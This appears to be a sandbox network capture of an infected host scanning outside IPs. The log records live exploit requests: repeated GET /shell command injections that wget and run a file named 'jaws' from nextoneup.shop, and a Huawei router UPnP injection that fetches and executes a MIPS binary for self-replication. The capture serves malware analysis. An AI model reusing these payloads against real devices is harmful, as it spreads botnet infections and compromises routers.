Apr 14, 2024 04:01:43.431999922 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
1738	192.168.2.23	48286	52.52.243.88	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:43.481210947 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:43.661704063 CEST	245	IN	HTTP/1.1 403 Forbidden Cache-Control: no-cache Content-Type: application/json transfer-encoding: chunked Connection: Close Data Raw: 36 31 0d 0a 7b 0a 20 20 22 6d 65 73 73 61 67 65 22 3a 20 22 52 65 71 75 65 73 74 20 66 6f 72 62 69 64 64 65 6e 20 62 79 20 61 64 6d 69 6e 69 73 74 72 61 74 69 76 65 20 72 75 6c 65 73 22 2c 0a 20 20 22 5f 5f 74 79 70 65 22 3a 20 22 43 6c 6f 75 64 53 65 61 72 63 68 45 78 63 65 70 74 69 6f 6e 22 0a 7d 0a 0d 0a Data Ascii: 61{ "message": "Request forbidden by administrative rules", "__type": "CloudSearchException"}
Apr 14, 2024 04:01:43.661752939 CEST	17	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1739	192.168.2.23	47540	156.235.108.131	37215

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:43.565840006 CEST	846	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g http://nextoneup.shop/ -l /tmp/.hiroshima -r /mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1740	192.168.2.23	35744	195.110.44.225	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:43.804483891 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:45.469073057 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:47.420803070 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:51.420289040 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
1741	192.168.2.23	56552	167.71.222.47	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:43.820406914 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:44.151698112 CEST	205	IN	HTTP/1.1 404 Not Found Server: nginx Date: Sun, 14 Apr 2024 02:01:43 GMT Content-Type: text/html Content-Length: 343 Connection: keep-alive Vary: Accept-Encoding ETag: "62c684ce-157"
Apr 14, 2024 04:01:44.151774883 CEST	355	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 20 20 20 20 3c 69 66 72 61 6d 65 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 63 6c 6f 75 64 77 61 79 73 2d 73 74 61 74 69 63 2d 63 6f 6e 74 65 6e 74 2e 73 33 2e 75 73 2d 65 61 73 Data Ascii: <!DOCTYPE html><html> <iframe src="https://cloudways-static-content.s3.us-east-1.amazonaws.com/error_page/maintenance-domain-mapping.html" frameborder="0" style="overflow:hidden;overflow-x:hidden;overflow-y:hidden;height:100%;width:100%;p

Session ID	Source IP	Source Port	Destination IP	Destination Port
1742	192.168.2.23	47150	164.115.20.18	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:43.845333099 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:44.201586008 CEST	1289	IN	HTTP/1.1 500 Internal Server Error Content-Length: 29057 Content-Type: text/html Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 63 2e 6f 72 67 2f 54 52 2f 31 39 39 39 2f 52 45 43 2d 68 74 6d 6c 34 30 31 2d 31 39 39 39 31 32 32 34 2f 6c 6f 6f 73 65 2e 64 74 64 22 3e 3c 62 72 20 2f 3e 3c 62 72 20 2f 3e 3c 68 74 6d 6c 3e 20 3c 68 65 61 64 3e 20 3c 74 69 74 6c 65 3e 20 3c 2f 74 69 74 6c 65 3e 20 3c 2f 68 65 61 64 3e 20 3c 62 6f 64 79 3e 20 3c 64 69 76 20 61 6c 69 67 6e 3d 22 63 65 6e 74 65 72 22 3e 20 3c 69 6d 67 20 73 72 63 3d 64 61 74 61 3a 69 6d 61 67 65 2f 70 6e 67 3b 62 61 73 65 36 34 2c 69 56 42 4f 52 77 30 4b 47 67 6f 41 41 41 41 4e 53 55 68 45 55 67 41 41 41 56 4d 41 41 41 43 57 43 41 59 41 41 41 42 6a 47 57 76 48 41 41 41 41 41 58 4e 53 52 30 49 41 72 73 34 63 36 51 41 41 41 41 52 6e 51 55 31 42 41 41 43 78 6a 77 76 38 59 51 55 41 41 41 41 4a 63 45 68 5a 63 77 41 41 44 73 4d 41 41 41 37 44 41 63 64 76 71 47 51 41 41 46 45 53 53 55 52 42 56 48 68 65 37 5a 30 46 6d 46 78 46 31 6f 59 44 41 5a 61 46 2f 56 6d 46 33 57 56 5a 59 43 46 47 66 44 49 4a 43 66 45 51 4e 36 4a 49 58 43 66 75 4c 73 52 64 69 4c 73 54 49 2b 37 45 33 64 32 56 75 4c 75 37 63 66 35 36 54 2f 63 4e 77 36 52 6e 4d 74 4e 39 65 79 7a 33 34 7a 6e 50 6b 4f 36 2b 4a 61 64 4f 66 58 56 4f 56 64 32 71 4f 4f 4c 41 67 51 4d 48 44 6e 79 47 51 36 59 4f 48 44 68 77 59 41 4d 63 4d 6e 58 67 77 49 45 44 47 2b 43 51 71 51 4d 48 44 68 7a 59 41 49 64 4d 48 54 68 77 34 4d 41 47 4f 47 54 71 77 49 45 44 42 7a 62 41 49 56 4d 48 44 68 77 34 73 41 45 4f 6d 54 70 77 34 4d 43 42 44 58 44 49 31 49 45 44 42 77 35 73 67 45 4f 6d 44 68 77 34 63 47 41 44 48 44 4a 31 34 4d 43 42 41 78 76 67 6b 4b 6b 44 42 77 34 63 32 41 43 48 54 42 30 34 63 4f 44 41 42 6a 68 6b 36 73 43 42 41 77 63 32 77 43 46 54 42 77 34 63 4f 4c 41 42 44 70 6b 36 63 4f 44 41 67 51 31 77 79 4e 53 42 41 77 63 4f 62 49 42 44 70 67 34 63 4f 48 42 67 41 78 77 79 64 65 44 41 67 51 4d 62 34 4a 43 70 41 77 63 4f 48 4e 67 41 68 30 77 64 4f 48 44 67 77 41 59 34 5a 4f 72 41 67 51 4d 48 4e 73 41 68 55 77 63 4f 48 44 69 77 41 51 36 5a 4f 6e 44 67 77 49 45 4e 63 4d 6a 55 67 51 4d 48 44 6d 78 41 72 43 58 54 36 39 65 76 79 2f 48 6a 78 2b 58 41 67 51 4f 79 64 65 73 32 57 62 6c 79 6c 5a 47 56 6f 63 71 4b 46 53 74 6b 31 61 72 56 73 6e 2f 2f 66 76 6e 6c 6c 31 2f 6b 77 6f 55 4c 63 75 50 47 44 58 64 71 44 68 77 34 63 42 41 32 59 67 57 5a 50 6e 33 36 56 50 62 73 33 53 73 4c 46 69 79 51 55 61 4e 47 53 39 65 75 33 65 58 37 37 31 74 4c 7a 5a 71 31 70 47 72 56 61 6c 4b 36 64 46 6b 70 58 4c 68 6f 6d 46 4b 6f 55 42 45 70 55 71 53 59 42 41 56 56 6c 65 72 56 61 30 72 44 68 6f 32 6c 56 61 73 32 30 71 64 50 58 30 31 7a 35 73 78 5a 68 6e 52 58 79 59 6b 54 4a 39 79 35 4f 6e 44 77 47 33 37 39 39 56 63 35 63 2b 32 69 6e 4c 78 79 54 6b 35 64 50 61 39 79 2f 63 34 74 39 37 63 4f 50 43 47 6b 7a 76 68 37 35 76 70 46 39 37 63 78 44 7a 47 57 54 43 39 64 75 69 52 7a 35 38 36 54 62 74 32 36 53 38 31 61 74 61 56 59 73 61 38 6c 62 39 37 38 6b 69 56 4c 4e 76 6e 69 69 77 79 53 4c 6c 31 36 53 5a 4d 6d 72 55 72 61 74 46 38 38 2b 2f 2f 77 79 75 65 66 70 39 4d 30 53 49 73 30 63 2b 62 4d 4a 51 55 4c 46 70 49 53 4a 55 6f 5a 77 71 30 69 54 5a 6f 30 6c 64 47 6a 78 38 6a 32 37 64 76 6c 31 71 32 62 37 6c 4a 35 68 2b 30 6e 39 6b 76 56 30 65 30 6c 58 34 2f 71 6b 68 2f 70 47 63 6e 53 6f 35 6f 55 37 46 6c 54 71 6f 33 71 49 48 55 6d 2f 53 41 4e 70 76 53 52 43 57 76 6e 79 65 4b 39 47 32 58 2f 75 57 50 75 55 6a 6f 41 70 36 39 64 6b 4a 6c 62 6c 6b 6d 33 2b 57 4f 6b 36 6f Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3c.org/TR/1999/REC-html401-19991224/loose.dtd"><br /><br /><html> <head> <title> </title> </head> <body> <div align="center"> <img src=data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAVMAAACWCAYAAABjGWvHAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsMAAA7DAcdvqGQAAFESSURBVHhe7Z0FmFxF1oYDAZaF/VmF3WVZYCFGfDIJCfEQN6JIXCfuLsRdiLsTI+7E3d2VuLu7cf56T/cNw6RnMtN9eyz34znPkO6+JadOfXVOVd2qOOLAgQMHDnyGQ6YOHDhwYAMcMnXgwIEDG+CQqQMHDhzYAIdMHThw4MAGOGTqwIEDBzbAIVMHDhw4sAEOmTpw4MCBDXDI1IEDBw5sgEOmDhw4cGADHDJ14MCBAxvgkKkDBw4c2ACHTB04cODABjhk6sCBAwc2wCFTBw4cOLABDpk6cODAgQ1wyNSBAwcObIBDpg4cOHBgAxwydeDAgQMb4JCpAwcOHNgAh0wdOHDgwAY4ZOrAgQMHNsAhUwcOHDiwAQ6ZOnDgwIENcMjUgQMHDmxArCXT69evy/Hjx+XAgQOydes2WblylZGVocqKFStk1arVsn//fvnll1/kwoULcuPGDXdqDhw4cBA2YgWZPn36VPbs3SsLFiyQUaNGS9eu3eX771tLzZq1pGrValK6dFkpXLhomFKoUBEpUqSYBAVVlerVa0rDho2lVas20qdPX01z5sxZhnRXyYkTJ9y5OnDwG3799Vc5c+2inLxyTk5dPa9y/c4t97cOPCGkzvh75vpF97cxDzGWTC9duiRz586Tbt26S81ataVYsa8lb978kiVLNvniiwySLl16SZMmrUratF88+//wyuefp9M0SIs0c+bMJQULFpISJUoZwq0iTZo0ldGjx8j27dvl1q2b7lJ5h+0n9kvV0e0lX4/qkh/pGcnSo5oU7FlTqo3qIHUm/SANpvSRCWvnyeK9G2X/uWPuUjoAp69dkJlblkm3+WOk6o
Apr 14, 2024 04:01:44.201613903 CEST	1289	IN	Data Raw: 53 75 55 6d 68 77 45 36 50 44 47 70 4b 6e 57 31 56 4a 30 62 61 6b 4a 47 33 37 6e 53 51 7a 77 74 2f 41 39 6d 55 6b 62 33 64 30 57 30 4d 71 6a 6d 67 6a 72 57 63 4e 6b 57 47 72 5a 38 6f 57 30 39 36 47 52 31 34 61 51 4a 69 4c 39 32 32 55 49 53 75 6e Data Ascii: SuUmhwE6PDGpKnW1VJ0bakJG37nSQzwt/A9mUkb3d0W0MqjmgjrWcNkWGrZ8oW096GR14aQJiL922UISunS71JvaT04GaqE08649+edLbp2D65fjd6D04xhkyfPHksN2/eNOH4SmnWrLkhtzySOXNWJbvUqT+XwMA0+tciQggUMrQIMX36jOES6xmeD07CpG3lExAQqH8zZsws2bPnlNy58yrBDhgwULZt2y6XL1+WBw8eyK/mv
Apr 14, 2024 04:01:44.201658010 CEST	1289	IN	Data Raw: 4c 44 67 51 61 6c 6c 6a 6c 59 32 6f 67 63 65 4a 6b 5a 69 41 6f 4c 33 66 75 33 48 58 58 7a 44 4f 69 4a 35 6d 47 4a 71 35 4f 6f 55 61 74 34 5a 72 78 30 6b 77 34 39 6d 66 7a 33 61 64 4e 76 35 4c 79 77 37 36 58 55 63 75 6d 79 65 6d 72 46 39 79 31 69 Data Ascii: LDgQalljlY2ogceJkZiAoL3fu3HXXzDOiJ5mGJq5OoUat4Zrx0kw49mfz3adNv5Lyw76XUcumyemrF9y1i/7YfuKAdJs+VNKbNvh7zYy/DRqVIVB3R35OD3ZJMH1CEhVSyB8NyX7QKJ+UGNhUhi/8SQ5Gw3nrQ+ePy5CFEyVdjyB5r05WebWy8SJN2bEJrVdk6QwbNJHCG8aLfa9edsnWs7p0nTFMth3f7y5p5CHakem6deulXr
Apr 14, 2024 04:01:44.201674938 CEST	237	IN	Data Raw: 39 39 7a 7a 35 79 38 6f 71 56 4b 6c 69 5a 56 45 69 6a 68 6b 36 6c 6e 59 62 76 53 47 36 5a 78 66 39 71 30 6a 2b 38 34 64 64 57 76 41 50 37 68 36 2b 36 61 55 48 4e 6c 47 2f 73 39 34 6f 52 42 35 62 4a 74 43 73 55 4c 59 39 78 76 6b 6c 4d 62 54 2b 73 Data Ascii: 99zz5y8oqVKliZVEijhk6lnYbvSG6Zxf9q0j+84ddWvAP7h6+6aUHNlG/s94oRB5bJtCsULY9xvklMbT+sn1u/asXNeb0kv+USebph3d50YjKqoz49Wze6PKqHb6erBdiHQyXbd+veTMmVs330M4nojITnGRGq+Bfq5eMPl6Er5D+C17RH0tm0OmoQuESshVeHATuXz7ulsL9oJ0iwxraXSaSheZPJUjN
Apr 14, 2024 04:01:44.201698065 CEST	1289	IN	Data Raw: 6f 68 46 44 6d 39 58 2f 30 4a 4b 6a 6d 70 6a 36 75 33 39 53 57 64 58 6a 4d 36 61 54 2b 34 6a 62 2b 44 42 6d 54 52 6a 64 35 53 55 53 74 34 30 67 33 72 78 59 63 33 6c 6c 45 31 37 6f 69 4f 56 54 50 66 73 32 53 74 35 38 75 53 58 5a 4d 6c 53 2b 4a 56 Data Ascii: ohFDm9X/0JKjmpj6u39SWdXjM6aT+4jb+DBmTRjd5SUSt40g3rxYc3llE17oiOVTPfs2St58uSXZMlS+JVIIUMIkrlY3kLiRChOjqpapZruYfUkrtOlykjx4t9I3rwF9DleFEiY8LNni2MRKXNUkKl2LN4MKZ80/GI6jes1P+YRPafrD1FPsUpqaTKtvzx8/MitCXvA+/T1J3RXwkY85R/bhHbkXfb647tr/SOKhw8fSa+F4+RP
Apr 14, 2024 04:01:44.201715946 CEST	1289	IN	Data Raw: 30 75 72 78 71 43 39 70 53 58 48 61 49 64 6a 7a 32 4c 62 50 77 33 35 66 36 6a 79 65 73 74 49 2b 39 56 79 79 54 2f 72 4a 37 35 64 38 4a 6e 66 50 64 57 6b 50 48 41 6a 63 66 6f 65 73 5a 36 6a 39 31 7a 2b 72 36 4b 6c 73 38 51 34 37 2f 71 5a 74 66 58 Data Ascii: 0urxqC9pSXHaIdjz2LbPw35f6jyestI+9VyyT/rJ75d8JnfPdWkPHAjcfoesZ6j91z+r6Kls8Q47/qZtfXKJ88Df28z8fGky9n2laPFPTzlIiSpNY/MFw6e7OyIVSjXz08hX21fiZXyvVWlbTSZfZwuXXPO4fMr2RKmEx4nzZtOn1V1BMxRlQgUtJiUWnMmDFy/nz0OZ3o4sWL6h0PGTJMKlcO0sHju+9Kyu3bYe8BtJNM/bE6f
Apr 14, 2024 04:01:44.201733112 CEST	1289	IN	Data Raw: 7a 4d 51 4d 6c 54 75 6b 45 6b 72 64 33 54 5a 6d 2f 66 62 58 63 76 57 2f 2f 6e 50 7a 44 52 77 2f 6c 67 43 46 56 72 69 74 4a 32 4c 4b 49 65 6c 77 52 62 58 2f 64 45 56 48 75 4d 35 31 7a 48 72 74 32 72 6a 77 77 61 62 34 49 65 30 37 39 49 76 6d 37 56 Data Ascii: zMQMlTukEkrd3TZm/fbXcvW//nPzDRw/lgCFVritJ2LKIelwRbX/dEVHuM51zHrt2rjwwab4Ie079Ivm7VNHFP/tOzOIgljQSp8SHkqlzeZm2ZYlc8+EFgtCAE3XyynkZuGq6ZDT5aOgfwakdy4t/p242aWeI1K7TzPxCpqx4sxjDxnk7vFKmCVi5nzVrVpTf8+IPxDQyBfcfPtDJel0csCHkQkjnj9XTyqLd69y5hI1H2Nm47v
Apr 14, 2024 04:01:44.201750040 CEST	1289	IN	Data Raw: 66 58 45 5a 75 32 61 32 61 64 38 48 37 6c 2f 61 44 31 76 4a 46 4f 4d 66 4d 2b 5a 48 79 5a 77 35 69 38 38 4c 54 33 69 32 42 51 74 2b 4a 56 75 33 62 6e 57 6e 48 6e 73 52 30 38 6b 55 54 4e 2b 30 52 4e 35 67 54 73 70 48 37 31 54 6e 54 55 32 59 56 6d Data Ascii: fXEZu2a2ad8H7l/aD1vJFOMfM+ZHyZw5i88LT3i2BQt+JVu3bnWnHnsR08kUTN+0RN5gTspH71TnTU2YVmVMR7kfiodIiNZr7mh5rbIJ6Xx8I0sJqmJKydI1SM57+Rqhv8C2r/WHd0qi74tKnFLxJU7p+JK7S0Ul0oiC7WYT187Ts2TjVPZNZ665x5QSv8VXcvCcf+9V8ganrl2Urwc0kjhlEuqi2Oetv5OF21dHaMudN7CVTK9
Apr 14, 2024 04:01:44.201781034 CEST	1289	IN	Data Raw: 4c 32 4c 73 59 5a 4d 6e 7a 36 52 76 67 73 6e 79 4e 76 47 65 2f 47 56 54 46 38 7a 6e 6d 66 64 69 54 32 66 32 30 42 2f 2b 66 6f 56 65 53 66 49 64 54 43 7a 74 38 66 57 36 51 4b 5a 38 64 4b 36 7a 68 70 68 36 37 76 5a 30 52 58 63 69 2f 56 65 6e 51 78 Data Ascii: L2LsYZMnz6RvgsnyNvGe/GVTF8znmfdiT2f20B/+foVeSfIdTCzt8fW6QKZ8dK6zhph67vZ0RXci/VenQxunXnWyYtE28QMQDWHtZXLN50Q3xNsI1Pexy9btrxPZMpzTBF8+21JfZPKF3CeKGX56KNPJF68BJEuXGPywQcfSbFi3xgPNewOG1vIlLdxJm5YIO/Xy6l18XbVmI4b15BpjbFdnttruvmXXfJOZU6G944YNFw1unqv
Apr 14, 2024 04:01:44.201797962 CEST	1289	IN	Data Raw: 68 6d 37 31 68 70 79 32 70 2b 68 67 35 6c 5a 65 58 42 32 4f 4e 6c 62 54 75 36 54 37 4c 33 72 4b 36 33 64 66 71 79 32 4f 52 4a 47 42 51 5a 48 4f 4d 31 7a 43 75 54 4e 79 39 32 56 76 4e 44 67 57 31 6b 79 67 6e 37 75 58 4c 6c 39 6f 6d 38 58 41 53 55 Data Ascii: hm71hpy2p+hg5lZeXB2ONlbTu6T7L3rK63dfqy2ORJGBQZHOM1zCuTNy92VvNDgW1kygn7uXLl9om8XASURqpXrynXrvtGCg6ZRj4gvo7TBskfTJl8eQOKZ9803tDApZN0BT845uxYJX/yYZ+p3gVknv1fkwKaFlMTMR1bj+2X7D0Mkepik71EagmD43tmkBy0dLJOtzh4HraR6bZt26VIkWLqXXoil/AKYT7pXL4U/rvTPcEh0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1743	192.168.2.23	53300	38.60.210.254	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:43.993376970 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:44.379479885 CEST	500	IN	HTTP/1.1 404 Not Found Date: Sun, 14 Apr 2024 02:01:44 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 271 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 35 32 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 31 32 37 2e 30 2e 30 2e 31 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache/2.4.52 (Ubuntu) Server at 127.0.0.1 Port 80</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1744	192.168.2.23	55076	172.67.31.253	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:44.557094097 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
1745	192.168.2.23	45498	172.114.90.5	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:44.573544979 CEST	239	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:44.756133080 CEST	206	IN	HTTP/1.1 307 Temporary Redirect Location: /0.1/gui/?item=shell?cd+/tmp;rm+-rf+*;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws Content-Length: 0 Date: Sun, 14 Apr 2024 02:01:44 GMT Server: HTTP Server

Session ID	Source IP	Source Port	Destination IP	Destination Port
1746	192.168.2.23	60832	4.207.207.190	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:44.867434978 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:45.181495905 CEST	94	IN	HTTP/1.1 403 Forbidden date: Sun, 14 Apr 2024 02:01:44 GMT content-length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1747	192.168.2.23	43802	154.209.59.51	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:44.872402906 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:45.852349997 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
